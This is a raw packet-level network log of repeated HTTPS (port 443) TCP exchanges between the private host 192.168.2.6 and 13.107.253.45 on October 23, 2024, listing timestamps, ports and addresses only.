Oct 23, 2024 21:04:27.165574074 CEST	443	49871	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.165600061 CEST	49876	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.165601015 CEST	49871	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.165636063 CEST	443	49876	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.165658951 CEST	443	49871	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.168328047 CEST	49877	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.168365955 CEST	443	49877	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.168426037 CEST	49877	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.168565989 CEST	49877	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.168585062 CEST	443	49877	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.856343031 CEST	443	49874	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.857064009 CEST	49874	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.857081890 CEST	443	49874	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.857661009 CEST	49874	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.857666016 CEST	443	49874	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.859188080 CEST	443	49873	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.859716892 CEST	49873	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.859734058 CEST	443	49873	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.860265017 CEST	49873	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.860269070 CEST	443	49873	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.866523027 CEST	443	49875	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.866991043 CEST	49875	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.867002010 CEST	443	49875	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.867486000 CEST	49875	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.867489100 CEST	443	49875	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.952878952 CEST	443	49876	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.953392982 CEST	49876	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.953416109 CEST	443	49876	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.953983068 CEST	49876	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.953989983 CEST	443	49876	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.954273939 CEST	443	49877	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.954587936 CEST	49877	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.954622030 CEST	443	49877	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.955104113 CEST	49877	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.955110073 CEST	443	49877	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.992530107 CEST	443	49874	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.992600918 CEST	443	49874	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.992650986 CEST	49874	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.992666960 CEST	443	49874	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.992701054 CEST	443	49874	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.992759943 CEST	49874	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.992958069 CEST	49874	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.992966890 CEST	443	49874	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.993029118 CEST	49874	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.993035078 CEST	443	49874	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.995904922 CEST	49878	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.995927095 CEST	443	49878	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.996025085 CEST	49878	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.996228933 CEST	49878	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.996253967 CEST	443	49878	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.996283054 CEST	443	49873	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.996424913 CEST	443	49873	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.996484995 CEST	49873	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.996609926 CEST	49873	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.996623039 CEST	443	49873	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.996634007 CEST	49873	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.996639013 CEST	443	49873	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.999058008 CEST	49879	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.999078989 CEST	443	49879	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:27.999138117 CEST	49879	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.999330044 CEST	49879	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:27.999342918 CEST	443	49879	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.008574009 CEST	443	49875	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.008729935 CEST	443	49875	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.008795023 CEST	49875	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.008860111 CEST	49875	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.008869886 CEST	443	49875	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.008900881 CEST	49875	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.008907080 CEST	443	49875	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.011342049 CEST	49880	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.011365891 CEST	443	49880	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.011421919 CEST	49880	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.011615992 CEST	49880	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.011627913 CEST	443	49880	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.090265036 CEST	443	49876	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.090796947 CEST	443	49876	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.090856075 CEST	443	49876	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.090852976 CEST	49876	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.090918064 CEST	49876	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.091033936 CEST	49876	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.091051102 CEST	443	49876	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.091061115 CEST	49876	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.091065884 CEST	443	49876	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.094063997 CEST	49881	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.094105005 CEST	443	49881	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.094186068 CEST	49881	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.094310999 CEST	49881	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.094321966 CEST	443	49881	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.095773935 CEST	443	49877	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.096098900 CEST	443	49877	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.096158028 CEST	49877	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.096206903 CEST	49877	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.096227884 CEST	443	49877	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.096242905 CEST	49877	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.096250057 CEST	443	49877	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.098468065 CEST	49882	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.098503113 CEST	443	49882	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.098756075 CEST	49882	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.098901987 CEST	49882	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.098915100 CEST	443	49882	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.759908915 CEST	443	49878	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.760432005 CEST	49878	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.760452986 CEST	443	49878	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.760988951 CEST	49878	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.760993004 CEST	443	49878	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.773417950 CEST	443	49879	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.773780107 CEST	49879	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.773802996 CEST	443	49879	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.774169922 CEST	49879	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.774174929 CEST	443	49879	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.777726889 CEST	443	49880	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.778050900 CEST	49880	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.778063059 CEST	443	49880	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.778484106 CEST	49880	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.778492928 CEST	443	49880	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.843552113 CEST	443	49882	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.844122887 CEST	49882	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.844134092 CEST	443	49882	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.844353914 CEST	49882	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.844358921 CEST	443	49882	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.848943949 CEST	443	49881	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.849258900 CEST	49881	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.849267006 CEST	443	49881	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.849653959 CEST	49881	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.849659920 CEST	443	49881	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.898332119 CEST	443	49878	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.899101973 CEST	443	49878	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.899147987 CEST	443	49878	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.899190903 CEST	49878	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.899223089 CEST	49878	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.899290085 CEST	49878	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.899306059 CEST	443	49878	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.899324894 CEST	49878	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.899329901 CEST	443	49878	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.902069092 CEST	49883	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.902092934 CEST	443	49883	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.902180910 CEST	49883	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.902503967 CEST	49883	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.902514935 CEST	443	49883	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.912940979 CEST	443	49879	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.913038015 CEST	443	49879	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.913155079 CEST	49879	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.913202047 CEST	49879	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.913220882 CEST	443	49879	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.913233042 CEST	49879	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.913239956 CEST	443	49879	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.915590048 CEST	49884	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.915620089 CEST	443	49884	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.915746927 CEST	49884	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.915901899 CEST	49884	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.915915012 CEST	443	49884	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.935823917 CEST	443	49880	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.935859919 CEST	443	49880	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.935925007 CEST	443	49880	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.935986996 CEST	49880	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.935986996 CEST	49880	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.936276913 CEST	49880	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.936276913 CEST	49880	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.936294079 CEST	443	49880	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.936301947 CEST	443	49880	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.939481974 CEST	49885	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.939503908 CEST	443	49885	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.939600945 CEST	49885	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.939769983 CEST	49885	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.939780951 CEST	443	49885	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.978270054 CEST	443	49882	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.978339911 CEST	443	49882	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.978410959 CEST	49882	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.978432894 CEST	443	49882	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.978463888 CEST	443	49882	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.978519917 CEST	49882	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.978652000 CEST	49882	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.978663921 CEST	443	49882	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.978682995 CEST	49882	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.978688955 CEST	443	49882	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.981364012 CEST	49886	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.981399059 CEST	443	49886	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.981549025 CEST	49886	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.981724024 CEST	49886	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.981736898 CEST	443	49886	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.986028910 CEST	443	49881	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.987196922 CEST	443	49881	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.987240076 CEST	49881	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.987267971 CEST	49881	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.987283945 CEST	443	49881	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.987293959 CEST	49881	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.987299919 CEST	443	49881	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.989409924 CEST	49887	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.989435911 CEST	443	49887	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:28.989540100 CEST	49887	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.989675045 CEST	49887	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:28.989689112 CEST	443	49887	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.648544073 CEST	443	49883	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.649243116 CEST	49883	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.649261951 CEST	443	49883	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.649802923 CEST	49883	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.649810076 CEST	443	49883	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.689404964 CEST	443	49884	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.689919949 CEST	49884	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.689932108 CEST	443	49884	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.690377951 CEST	49884	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.690383911 CEST	443	49884	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.696420908 CEST	443	49885	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.696800947 CEST	49885	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.696825981 CEST	443	49885	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.697211981 CEST	49885	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.697216034 CEST	443	49885	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.744101048 CEST	443	49886	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.744616985 CEST	49886	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.744628906 CEST	443	49886	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.745069981 CEST	49886	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.745074987 CEST	443	49886	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.752013922 CEST	443	49887	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.752381086 CEST	49887	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.752391100 CEST	443	49887	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.752770901 CEST	49887	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.752774954 CEST	443	49887	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.811542988 CEST	443	49883	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.811602116 CEST	443	49883	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.811795950 CEST	49883	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.811822891 CEST	49883	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.811837912 CEST	443	49883	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.811857939 CEST	49883	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.811862946 CEST	443	49883	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.814547062 CEST	49888	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.814573050 CEST	443	49888	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.814753056 CEST	49888	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.814992905 CEST	49888	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.815000057 CEST	443	49888	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.830307007 CEST	443	49884	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.830385923 CEST	443	49884	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.830739975 CEST	49884	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.830899000 CEST	49884	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.830913067 CEST	443	49884	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.830944061 CEST	49884	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.830950975 CEST	443	49884	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.833108902 CEST	49889	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.833142996 CEST	443	49889	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.833205938 CEST	49889	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.833324909 CEST	49889	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.833337069 CEST	443	49889	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.835397959 CEST	443	49885	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.835464954 CEST	443	49885	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.835585117 CEST	49885	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.835613966 CEST	49885	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.835628033 CEST	443	49885	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.835639954 CEST	49885	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.835644007 CEST	443	49885	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.837620020 CEST	49890	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.837639093 CEST	443	49890	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.837703943 CEST	49890	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.837845087 CEST	49890	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.837852955 CEST	443	49890	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.883064032 CEST	443	49886	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.883105993 CEST	443	49886	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.883160114 CEST	49886	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.883171082 CEST	443	49886	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.883207083 CEST	443	49886	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.883255959 CEST	49886	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.883506060 CEST	49886	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.883506060 CEST	49886	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.883518934 CEST	443	49886	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.883527040 CEST	443	49886	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.886209965 CEST	49891	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.886255980 CEST	443	49891	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.886373043 CEST	49891	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.886838913 CEST	49891	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.886858940 CEST	443	49891	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.891125917 CEST	443	49887	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.891196966 CEST	443	49887	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.891264915 CEST	49887	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.891340971 CEST	49887	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.891360044 CEST	443	49887	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.891371012 CEST	49887	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.891376972 CEST	443	49887	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.893806934 CEST	49892	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.893842936 CEST	443	49892	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:29.894026041 CEST	49892	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.894073963 CEST	49892	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:29.894085884 CEST	443	49892	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.592925072 CEST	443	49888	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.593601942 CEST	49888	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.593617916 CEST	443	49888	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.594044924 CEST	49888	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.594050884 CEST	443	49888	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.597542048 CEST	443	49890	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.597925901 CEST	49890	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.597938061 CEST	443	49890	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.597950935 CEST	443	49889	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.598545074 CEST	49890	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.598551035 CEST	443	49890	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.598608017 CEST	49889	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.598640919 CEST	443	49889	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.599072933 CEST	49889	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.599081993 CEST	443	49889	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.645697117 CEST	443	49891	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.646096945 CEST	49891	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.646111012 CEST	443	49891	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.646521091 CEST	49891	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.646528006 CEST	443	49891	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.664793015 CEST	443	49892	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.665359974 CEST	49892	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.665385962 CEST	443	49892	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.665803909 CEST	49892	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.665808916 CEST	443	49892	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.735191107 CEST	443	49890	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.736646891 CEST	443	49890	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.736741066 CEST	49890	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.736809969 CEST	49890	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.736826897 CEST	443	49890	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.736838102 CEST	49890	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.736844063 CEST	443	49890	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.737214088 CEST	443	49888	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.737240076 CEST	443	49888	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.737281084 CEST	443	49888	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.737282038 CEST	49888	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.737309933 CEST	49888	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.737432003 CEST	49888	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.737437963 CEST	443	49888	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.737447977 CEST	49888	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.737451077 CEST	443	49888	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.737497091 CEST	443	49889	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.737560034 CEST	443	49889	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.737605095 CEST	49889	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.738193989 CEST	49889	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.738214016 CEST	443	49889	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.738228083 CEST	49889	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.738234997 CEST	443	49889	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.740367889 CEST	49893	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.740411997 CEST	443	49893	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.740478992 CEST	49893	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.740540981 CEST	49894	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.740564108 CEST	443	49894	13.107.253.45	192.168.2.6
